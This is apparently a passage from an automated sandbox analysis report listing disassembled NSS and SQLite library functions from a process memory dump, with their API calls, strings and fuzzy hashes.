PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C757F4A,00000000,?,00000000,00000000), ref: 6C76DFAA

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 56db4fba1530ad15a6726b461092dc01905da7040bd3346c245ecff4ee0c15d2
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: FA81F4706226048BFB108E5BDBA43A972DADB75348F34843EDD19CAFE1E775C484C64A

Function 6C743C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C743C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C743C94

Part of subcall function 6C7395B0: TlsGetValue.KERNEL32(00000000,?,6C7500D2,00000000), ref: 6C7395D2
Part of subcall function 6C7395B0: EnterCriticalSection.KERNEL32(?,?,?,6C7500D2,00000000), ref: 6C7395E7
Part of subcall function 6C7395B0: PR_Unlock.NSS3(?,?,?,?,6C7500D2,00000000), ref: 6C739605

PORT_NewArena_Util.NSS3(00000800), ref: 6C743CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C743CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C743CE1

Part of subcall function 6C743090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C75AE42), ref: 6C7430AA
Part of subcall function 6C743090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7430C7
Part of subcall function 6C743090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7430E5
Part of subcall function 6C743090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C743116
Part of subcall function 6C743090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C74312B
Part of subcall function 6C743090: PK11_DestroyObject.NSS3(?,?), ref: 6C743154
Part of subcall function 6C743090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74317E

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c9a93111c1fb0748522fb2c557e3c0474c3b3d730cda76a91659b76968bae55f
Instruction ID: 8c17a72aa51ea35dc3070adca6db9a79efc83d30e188080544a8b3d56b25ea99
Opcode Fuzzy Hash: c9a93111c1fb0748522fb2c557e3c0474c3b3d730cda76a91659b76968bae55f
Instruction Fuzzy Hash: D461D6B1A00214ABEF105F65DE49FAB76BDAF04748F088038EE0DDAA52F721D914C7B1

Function 6C783D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C783440: PK11_GetAllTokens.NSS3 ref: 6C783481
Part of subcall function 6C783440: PR_SetError.NSS3(00000000,00000000), ref: 6C7834A3
Part of subcall function 6C783440: TlsGetValue.KERNEL32 ref: 6C78352E
Part of subcall function 6C783440: EnterCriticalSection.KERNEL32(?), ref: 6C783542
Part of subcall function 6C783440: PR_Unlock.NSS3(?), ref: 6C78355B

TlsGetValue.KERNEL32 ref: 6C783D8B
EnterCriticalSection.KERNEL32(?), ref: 6C783D9F
PR_Unlock.NSS3(?), ref: 6C783DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C783DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C783E4F

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

TlsGetValue.KERNEL32 ref: 6C783E97
EnterCriticalSection.KERNEL32(?), ref: 6C783EAB
PR_Unlock.NSS3(?), ref: 6C783ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C783EEE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 4e348d194caa45dee62026a6e694a39c54bc3a41b5c1c29f544f0a5513db4709
Instruction ID: 591efeeb54a672056df43e0933868af92496390d0eebf48705b3d86dc0c58f20
Opcode Fuzzy Hash: 4e348d194caa45dee62026a6e694a39c54bc3a41b5c1c29f544f0a5513db4709
Instruction Fuzzy Hash: E2513671A026009BDB21AF2DDE48A6A73B8AF4531CF054579DF1987B12EB31E854CBE1

Function 6C732C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D8646709), ref: 6C732C5D

Part of subcall function 6C790D30: calloc.MOZGLUE ref: 6C790D50
Part of subcall function 6C790D30: TlsGetValue.KERNEL32 ref: 6C790D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C732C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C732CE0

Part of subcall function 6C732E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C732CDA,?,00000000), ref: 6C732E1E
Part of subcall function 6C732E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C732E33
Part of subcall function 6C732E00: TlsGetValue.KERNEL32 ref: 6C732E4E
Part of subcall function 6C732E00: EnterCriticalSection.KERNEL32(?), ref: 6C732E5E
Part of subcall function 6C732E00: PL_HashTableLookup.NSS3(?), ref: 6C732E71
Part of subcall function 6C732E00: PL_HashTableRemove.NSS3(?), ref: 6C732E84
Part of subcall function 6C732E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C732E96
Part of subcall function 6C732E00: PR_Unlock.NSS3 ref: 6C732EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C732D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C732D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C732D3F
free.MOZGLUE(00000000), ref: 6C732D73
CERT_DestroyCertificate.NSS3(?), ref: 6C732DB8
free.MOZGLUE ref: 6C732DC8

Part of subcall function 6C733E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C733EC2
Part of subcall function 6C733E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C733ED6
Part of subcall function 6C733E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C733EEE
Part of subcall function 6C733E60: PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C733F02
Part of subcall function 6C733E60: PL_FreeArenaPool.NSS3 ref: 6C733F14
Part of subcall function 6C733E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C733F27

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 064b671b26068e72e07aa185654aa6d924387009c979f44a6ef79cb1d817d11b
Instruction ID: e5c4e2f3c408c39cc74e473ff6c3f640b677d0a74775936c2f6477f6d5caafe5
Opcode Fuzzy Hash: 064b671b26068e72e07aa185654aa6d924387009c979f44a6ef79cb1d817d11b
Instruction Fuzzy Hash: 7E51DE72A143219BDB129E29DE8AB5B77E5EF84308F140438EC5983653EB31E815CBD2

Function 6C737CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7340D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C733F7F,?,00000055,?,?,6C731666,?,?), ref: 6C7340D9
Part of subcall function 6C7340D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C731666,?,?), ref: 6C7340FC
Part of subcall function 6C7340D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C731666,?,?), ref: 6C734138

PR_GetCurrentThread.NSS3 ref: 6C737CFD

Part of subcall function 6C7F9BF0: TlsGetValue.KERNEL32(?,?,?,6C840A75), ref: 6C7F9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C859030), ref: 6C737D1B

Part of subcall function 6C78FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C731A3E,00000048,00000054), ref: 6C78FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C859048), ref: 6C737D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C737D50
PR_GetCurrentThread.NSS3 ref: 6C737D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C737D7D
free.MOZGLUE(?), ref: 6C737D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C737DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C737E19

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: cf553acf2cc2f41c1e9d0e22c80809877e3ae4f688f5361da8ee3fec3b1a35f4
Instruction ID: 75a3e7b1ed2d12ff930b70bbe245232a344dc5be7ad36a5550233e1a9221a19a
Opcode Fuzzy Hash: cf553acf2cc2f41c1e9d0e22c80809877e3ae4f688f5361da8ee3fec3b1a35f4
Instruction Fuzzy Hash: 3C41F672A1112ADBDB018E699F4ABAB37A4AF4025CF050034ED1D9BB52E730E915C7E1

Function 6C6D7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6D7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C6D7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6D7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D7ED8, 6C6D7F08, 6C6D7F19
%s at line %d of [%.10s], xrefs: 6C6D7EE7, 6C6D7F28
database corruption, xrefs: 6C6D7EE2, 6C6D7F23

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: febeba59c39aefddc3e04387f8a20c8b7768cdd701e94146ace2ccf073f56c84
Instruction ID: 7e86aa39aaecc9a42dd0c6afae12aa690ce62817e2f78fc6a40b0ae363ab548e
Opcode Fuzzy Hash: febeba59c39aefddc3e04387f8a20c8b7768cdd701e94146ace2ccf073f56c84
Instruction Fuzzy Hash: 8F61D970A042069FDB15CF29C880BAA3772BF85308F164964EC095FB56D730FC56CB96

Function 6C6BFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6BFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6BFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BFE83

Part of subcall function 6C6BFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C6BFEFA
Part of subcall function 6C6BFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C6BFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6BFD64, 6C6BFE26
%s at line %d of [%.10s], xrefs: 6C6BFD73, 6C6BFE35
database corruption, xrefs: 6C6BFD6E, 6C6BFE30

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: f7cadc3a4445cdc00d093456e1de12e039578dab2b658dd6279e7d638146fa70
Instruction ID: 713c26947a5989fa79ca9d4ed78fb8031d88a8b0d40048ac6cba4b5433ff043f
Opcode Fuzzy Hash: f7cadc3a4445cdc00d093456e1de12e039578dab2b658dd6279e7d638146fa70
Instruction Fuzzy Hash: 62518379A002059FDB04CF69C9D0AAEB7F1EF48308F144469EA05BB752E731EC51CB95

Function 6C748CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C75124D,00000001), ref: 6C748D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C75124D,00000001), ref: 6C748D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C75124D,00000001), ref: 6C748D73
PR_Unlock.NSS3(?,?,?,?,?,6C75124D,00000001), ref: 6C748D8C

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C75124D,00000001), ref: 6C748DBA

Strings

KRAM, xrefs: 6C748CF9
KRAM, xrefs: 6C748D3E

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: e1129294cc88872777ecf39d12d596e67ecf132e0f0a54419beaf9433a74a808
Instruction ID: 0aec11b5bb2d20ee3b38a2d020624a12e2ddf7bfafd005e2f237717d8c28b685
Opcode Fuzzy Hash: e1129294cc88872777ecf39d12d596e67ecf132e0f0a54419beaf9433a74a808
Instruction Fuzzy Hash: A1216BB5A056058BCB00AF38C68956AB7F0BF59308F15C97AD999CB701E734E841CFD1

Function 6C76ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C76ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C76AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C76AD23

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C76AD39

Strings

hSession = 0x%x, xrefs: 6C76ACFE, 6C76AD0E
(CK_INVALID_HANDLE), xrefs: 6C76AD1C
C_MessageDecryptFinal, xrefs: 6C76ACE1

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: cac7eb835f0b8435d94c3b696b601a2dcc35e2ef461defe3172d11fba4a07c49
Instruction ID: c8decd6f36b1ac107ed649c78fee1fe0212b98006afaeaaa7a011fd421a96000
Opcode Fuzzy Hash: cac7eb835f0b8435d94c3b696b601a2dcc35e2ef461defe3172d11fba4a07c49
Instruction Fuzzy Hash: 9921F531601114AFDB209F6DDF8EB6A37B5EB4632EF444435E80997F16DB34A818C6E2

Function 6C840ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C840EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C840EFA

Part of subcall function 6C72AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C72AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C840ED9, 6C840EE5, 6C840F06, 6C840F0B
Aborting, xrefs: 6C840EB3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 2b2d5d5e85d876676168dc2127a4c08b3c50b8c3ba8456e6fec91deaa67170e7
Instruction ID: b5fd70b4f41bfe48184dc491e0c3b309199d97da5fa5238811b85f6d03a227f3
Opcode Fuzzy Hash: 2b2d5d5e85d876676168dc2127a4c08b3c50b8c3ba8456e6fec91deaa67170e7
Instruction Fuzzy Hash: 7F018BB6900148ABDB21AFA8DD49C9B3B6DEF57268B408424FD0987B42D735E914C6E2

Function 6C821C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=rl,?,?,6C724E1D), ref: 6C821C8A
sqlite3_free.NSS3(00000000), ref: 6C821CB6

Strings

w=rl, xrefs: 6C821C44
non-deterministic use of %s() in %s, xrefs: 6C821C85
a CHECK constraint, xrefs: 6C821C76, 6C821C81
an index, xrefs: 6C821C67
a generated column, xrefs: 6C821C6C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=rl
API String ID: 1840970956-4137691241
Opcode ID: a1aa5ebe61844d4a2c3c084e1ea35dd725a1ec483153c8d871fef7a994addb87
Instruction ID: 5abcddcc6bbc079d87a8c0e3e37d4142e6146a333581376dc20207b6a368cdc0
Opcode Fuzzy Hash: a1aa5ebe61844d4a2c3c084e1ea35dd725a1ec483153c8d871fef7a994addb87
Instruction Fuzzy Hash: BD0128B5A001405BD710BF28D50297177E5EF8634CB154C6DED489BB02EB22E896C795

Function 6C804D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C804DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C804DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C804DCB
%s at line %d of [%.10s], xrefs: 6C804DDA
misuse, xrefs: 6C804DD5
API call with %s database connection pointer, xrefs: 6C804DBD
invalid, xrefs: 6C804DB8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
